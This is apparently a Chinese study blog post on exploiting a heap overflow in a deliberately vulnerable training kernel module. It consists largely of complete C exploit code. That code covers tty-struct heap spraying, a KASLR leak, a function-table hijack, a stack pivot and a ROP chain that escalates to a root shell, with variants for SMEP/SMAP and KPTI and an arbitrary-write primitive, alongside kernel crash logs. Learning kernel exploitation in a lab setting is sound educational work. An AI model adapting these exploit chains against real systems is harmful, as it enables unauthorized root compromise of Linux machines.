Pawnable笔记(二)之 Heap Overflow
前言 本系列文章记录笔者在跟随Pawnable学习Kernel Pwn过程中的一些问题与学到的东西。本文是该系列的第二篇文章。
漏洞模块分析 module_read
和module_write
函数存在明显堆溢出
module_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 __fastcall module_read (__int64 a1, __int64 a2, unsigned __int64 a3) { __int64 v5; printk(&unk_491); v5 = g_buf; if ( a3 >= 0x80000000 ) BUG(); check_object_size(g_buf, a3, 1u ); if ( !copy_to_user(a2, v5, a3) ) return a3; printk(&unk_4A7); return -22LL ; }
module_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 __fastcall module_write (__int64 a1, __int64 a2, unsigned __int64 a3) { __int64 v5; printk(&unk_4BE); v5 = g_buf; if ( a3 >= 0x80000000 ) BUG(); check_object_size(g_buf, a3, 0 ); if ( !copy_from_user(v5, a2, a3) ) return a3; printk(&unk_4D5); return -22LL ; }
内核堆内存分配机制 这部分内容尤其重要,但初学者很难完全搞懂其细节分配机制,因此我们主要围绕以下两点来看就行:
内核如何根据要分配的大小确定切块的位置,以及切块时如何管理每个块;
在释放对应块后,内核如何管理这些空闲内存块。
但因为笔者自己对这块也不是很了解,所以此处推荐参考evilpan师傅的《Linux内核的内存管理与漏洞利用案例分析》 ,和a3师傅的Linux Kernel 内存管理浅析 III - Slub Allocator
漏洞利用思路简析 在堆溢出中,我们无法像栈溢出那样直接劫持控制流造成kernel panic
,而是需要利用堆溢出来覆写内核对象,在覆写后就可能实现劫持控制流。而要利用它,我们就需要构造堆布局为如下这种情形:在一个可溢出的脆弱对象后存在一个目标内核对象,这样我们在溢出后就可以轻松修改目标对象中的某些值。
在内核中,要实现这种情形,我们最常用的就是Heap Spray(堆喷)
,它的目标就是喷射大量内核对象,大大提升目标对象存在于脆弱对象后的概率,从而有效完成利用。在本题中,我们可以使用如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> int main () { int spray[100 ] = {0 }; for (int i = 0 ; i < 50 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); int fd = open("/dev/holstein" , 2 ); for (int i = 50 ; i < 100 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); char buf[0x500 ]; memset (buf, 'A' , 0x500 ); write(fd, buf, 0x500 ); return 0 ; }
在覆盖前对应脆弱对象内存地址为
1 2 3 4 pwndbg> x/16 gx 0xffff903c81cff000 0xffff903c81cff000 : 0x0000000000000000 0x0000000000000000 0xffff903c81cff010 : 0x0000000000000000 0x0000000000000000 0xffff903c81cff020 : 0x0000000000000000 0x0000000000000000
其后的tty结构体地址为
1 2 3 4 5 pwndbg> x/16 gx 0xffff903c81cff000 +0x400 0xffff903c81cff400 : 0x0000000100005401 0x0000000000000000 0xffff903c81cff410 : 0xffff903c8125fe40 0xffffffff8fc38880 0xffff903c81cff420 : 0x0000000000000032 0x0000000000000000 0xffff903c81cff430 : 0x0000000000000000 0xffff903c81cff438
此时如果我们溢出写入,那么就会覆盖到这个tty结构体,我们通过对/dev/ptmx
进行操作来调用tty结构体中函数表中的函数。接下来我们来尝试一步步利用这个漏洞,原题目开启了所有保护,我们先关闭所有保护,再逐个开启exploit
Add KASLR 添加了KASLR之后,我们需要泄露信息来计算地址,而tty结构体中+0x18
处为const struct tty_operations *ops;
,通过这个指针就可以泄露KASLR基址(该地址减去0xc38880即可),+0x38
处存在一个指向自己的指针,可用来找到堆地址。
泄露地址 1 2 3 4 5 6 7 8 9 10 char buf[0x500 ];long KASLR_BASE = 0 ;long g_buf = 0 ;memset (buf, 'A' , 0x500 );read(fd, buf, 0x500 ); KASLR_BASE = *((long *)&buf[0x400 +0x18 ]) - 0xc38880 ; g_buf = *((long *)&buf[0x400 +0x38 ]) - 0x438 ; printf ("KASLR: %p\n" , (char *)KASLR_BASE);printf ("g_buf: %p\n" , (char *)g_buf);
漏洞验证POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> int main () { int spray[100 ] = {0 }; for (int i = 0 ; i < 50 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); int fd = open("/dev/holstein" , 2 ); for (int i = 50 ; i < 100 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); char buf[0x500 ]; long KASLR_BASE = 0 ; long g_buf = 0 ; memset (buf, 'A' , 0x500 ); read(fd, buf, 0x500 ); KASLR_BASE = *((long *)&buf[0x400 +0x18 ]) - 0xc38880 ; g_buf = *((long *)&buf[0x400 +0x38 ]) - 0x438 ; printf ("KASLR: %p\n" , (char *)KASLR_BASE); printf ("g_buf: %p\n" , (char *)g_buf); unsigned long *p = (unsigned long *)&buf; for (int i = 0 ; i < 0x40 ; i++) { *p++ = 0xffffffffdead0000 + i*0x10 ; } *(unsigned long *)&buf[0x418 ] = g_buf; write(fd, buf, 0x420 ); for (int i = 0 ; i < 100 ; i++) { ioctl(spray[i], 0xdeadbeef , 0xcafebabe ); } getchar(); close(fd); for (int i = 0 ; i < 100 ; i++) close(spray[i]); return 0 ; }
然后运行poc,得到如下报错
1 2 3 4 5 / KASLR: 0xffffffff8ea00000 g_buf: 0xffff9ac381cf5000 BUG: unable to handle page fault for address: ffffffffdead00c0
可以看到KASLR和g_buf基址均已被泄露,且程序运行到了ffffffffdead00c0
位置,说明此时执行流已被我们控制,且程序调用对应函数表索引为0xc
我在尝试使用ret2usr
对其进行提权时得到了如下报错
1 2 BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____)) kernel stack overflow (double-fault): 0000 [#1] SMP NOPTI
即产生了内核栈溢出,搜索发现这种的解决办法一般为stack pivot
,既然这样,那就直接使用KROP就行了,继续开启保护
Add SMEP/SMAP 使用KROP前需要进行stack pivot
,因为我们只能控制程序的执行流,而不能控制栈。为了进行栈迁移,我们需要找到可用的gadget,但同时我们也要观察下进入执行流前的寄存器环境。给堆中写入payload和伪造函数表,同时溢出覆盖tty_operations
函数表地址,使用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> long swapgs_restore_regs_and_return_to_usermode = 0x800e10 ;long prepare_kernel_cred = 0x74650 ;long commit_creds = 0x744b0 ;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } void get_root_shell (void ) { if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); sleep(5 ); exit (EXIT_FAILURE); } puts ("\033[32m\033[1m[+] Successful to get the root. \033[0m" ); puts ("\033[34m\033[1m[*] Execve root shell now...\033[0m" ); system("/bin/sh" ); exit (EXIT_SUCCESS); } int main () { int spray[100 ]; for (int i = 0 ; i < 50 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); int fd = open("/dev/holstein" , O_RDWR); for (int i = 50 ; i < 100 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); char buf[0x500 ]; long KASLR_BASE = 0 ; long g_buf = 0 ; memset (buf, 'A' , 0x500 ); read(fd, buf, 0x500 ); KASLR_BASE = *((long *)&buf[0x400 +0x18 ]) - 0xc38880 ; g_buf = *((long *)&buf[0x400 +0x38 ]) - 0x438 ; printf ("KASLR: %p\n" , (char *)KASLR_BASE); printf ("g_buf: %p\n" , (char *)g_buf); prepare_kernel_cred += KASLR_BASE; commit_creds += KASLR_BASE; swapgs_restore_regs_and_return_to_usermode += KASLR_BASE; long pop_rdi = KASLR_BASE + 0xd748d ; long mov_rdi_rax = KASLR_BASE + 0x62707b ; long pop_rcx = KASLR_BASE + 0x13c1c4 ; long mov_rsp_rax = KASLR_BASE + 0x801114 ; long pop_r12_rbx = KASLR_BASE + 0x28b69e ; unsigned long * p = (unsigned long *)&buf; int i = 0 ; p[i++] = pop_rdi; p[i++] = 0 ; p[i++] = prepare_kernel_cred; p[i++] = pop_rcx; p[i++] = 0 ; p[i++] = mov_rdi_rax; p[i++] = commit_creds; p[i++] = swapgs_restore_regs_and_return_to_usermode + 0x16 ; p[i++] = 0 ; p[i++] = 0 ; p[i++] = (size_t )get_root_shell; p[i++] = user_cs; p[i++] = user_rflags; p[i++] = user_sp; p[i++] = user_ss; for (; i<100 ; i++) p[i] = g_buf; *(size_t *)&buf[0x418 ] = g_buf+15 *8 ; write(fd, buf, 0x420 ); for (int i = 0 ; i < 100 ; i++) { ioctl(spray[i], 0xdeadbeef , 0xcafebabe ); } getchar(); close(fd); for (int i = 0 ; i < 100 ; i++) close(spray[i]); return 0 ; }
产生报错为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 / # ./exp KASLR: 0xffffffffb3600000 g_buf: 0xffffa26501d05000 kernel tried to execute NX-protected page - exploit attempt? (uid: 0) BUG: unable to handle page fault for address: ffffa26501d05000 #PF: supervisor instruction fetch in kernel mode #PF: error_code(0x0011) - permissions violation PGD 3801067 P4D 3801067 PUD 3802067 PMD 8000000001c001e3 Oops: 0011 [#1] SMP NOPTI CPU: 0 PID: 162 Comm: exp Tainted: G O 5.15.0 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a4 RIP: 0010:0xffffa26501d05000 Code: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f RSP: 0018:ffffa4c7c017fe10 EFLAGS: 00000286 RAX: ffffa26501d05000 RBX: ffffa26501d05800 RCX: 00000000deadbeef RDX: 00000000cafebabe RSI: 00000000deadbeef RDI: ffffa26501d05400 RBP: ffffa4c7c017fea8 R08: 00000000cafebabe R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 00000000deadbeef R13: ffffa26501d05400 R14: 00000000cafebabe R15: ffffa26501a4a700 FS: 0000000000409bd8(0000) GS:ffffa26502400000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: ffffa26501d05000 CR3: 0000000001b76000 CR4: 00000000003006f0
触发漏洞的部分为ioctl(spray[i], 0xdeadbeef, 0xcafebabe)
,通过寄存器环境可以看到有很多寄存器的值都是deadbeef
和cafebabe
,这时就可以利用寄存器及gadget来对rsp进行赋值了,例如,我找到了如下gadget
1 0xffffffff811077fc : push rdx ; add byte ptr [rbx + 0x41 ], bl ; pop rsp ; pop r13 ; pop rbp ; ret
然后就是在合适位置伪造函数指针为此gadget,同时在ioctl时控制参数即可,exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> long swapgs_restore_regs_and_return_to_usermode = 0x800e10 ;long prepare_kernel_cred = 0x74650 ;long commit_creds = 0x744b0 ;size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } void get_root_shell (void ) { if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); sleep(5 ); exit (EXIT_FAILURE); } puts ("\033[32m\033[1m[+] Successful to get the root. \033[0m" ); puts ("\033[34m\033[1m[*] Execve root shell now...\033[0m" ); system("/bin/sh" ); exit (EXIT_SUCCESS); } int main () { saveStatus(); int spray[100 ]; for (int i = 0 ; i < 50 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); int fd = open("/dev/holstein" , O_RDWR); for (int i = 50 ; i < 100 ; i++) spray[i] = open("/dev/ptmx" , O_RDONLY | O_NOCTTY); char buf[0x500 ]; long KASLR_BASE = 0 ; long g_buf = 0 ; memset (buf, 'A' , 0x500 ); read(fd, buf, 0x500 ); KASLR_BASE = *((long *)&buf[0x400 +0x18 ]) - 0xc38880 ; g_buf = *((long *)&buf[0x400 +0x38 ]) - 0x438 ; printf ("KASLR: %p\n" , (char *)KASLR_BASE); printf ("g_buf: %p\n" , (char *)g_buf); prepare_kernel_cred += KASLR_BASE; commit_creds += KASLR_BASE; swapgs_restore_regs_and_return_to_usermode += KASLR_BASE; long pop_rdi = KASLR_BASE + 0xd748d ; long mov_rdi_rax = KASLR_BASE + 0x62707b ; long pop_rcx = KASLR_BASE + 0x13c1c4 ; long push_rdx_pop_rsp_pp_ret = KASLR_BASE + 0x1077fc ; long pop_r12_rbx = KASLR_BASE + 0x28b69e ; long swapgs = 0x62668e + KASLR_BASE; long iretq = 0x800eb7 + KASLR_BASE; unsigned long * p = (unsigned long *)&buf; int i = 0 ; p[i++] = pop_rdi; p[i++] = 0 ; p[i++] = prepare_kernel_cred; p[i++] = pop_rcx; p[i++] = 0 ; p[i++] = mov_rdi_rax; p[i++] = commit_creds; p[i++] = pop_r12_rbx; p[i++] = 0 ; p[i++] = 0 ; p[i++] = pop_r12_rbx; p[i++] = 0 ; p[i++] = push_rdx_pop_rsp_pp_ret; p[i++] = swapgs; p[i++] = iretq; p[i++] = (size_t )get_root_shell; p[i++] = user_cs; p[i++] = user_rflags; p[i++] = user_sp; p[i++] = user_ss; *(size_t *)&buf[0x418 ] = g_buf; write(fd, buf, 0x420 ); for (int i = 0 ; i < 100 ; i++) { ioctl(spray[i], 0 , g_buf-0x10 ); } getchar(); close(fd); for (int i = 0 ; i < 100 ; i++) close(spray[i]); return 0 ; }
Add KPTI 添加KPTI后,仅需将rop链中的
1 2 p[i++] = swapgs; p[i++] = iretq;
更换为
1 2 3 p[i++] = swapgs_restore_regs_and_return_to_usermode+0x16 ; p[i++] = 0 ; p[i++] = 0 ;
AAW/AAR(待补充 我们首先构造一个AAW和AAR原语,然后再讨论可利用的方法
AAW/AAR原语 首先找到一个有效的赋值gadget,然后AAW如下
1 2 3 4 5 6 7 8 9 10 11 12 void AAW (size_t add, size_t val) { unsigned long gadget = KASLR_BASE + 0x477f7 ; p = (unsigned long *)&buf; p[0xc ] = gadget; *(unsigned long *)&buf[0x418 ] = g_buf; write(fd, buf, 0x420 ); for (int i = 0 ; i < 100 ; i++) ioctl(spray[i], val, add); }
同理,找到有效gadget,AAR如下
修改usermode_helpers提权 修改cred结构体提权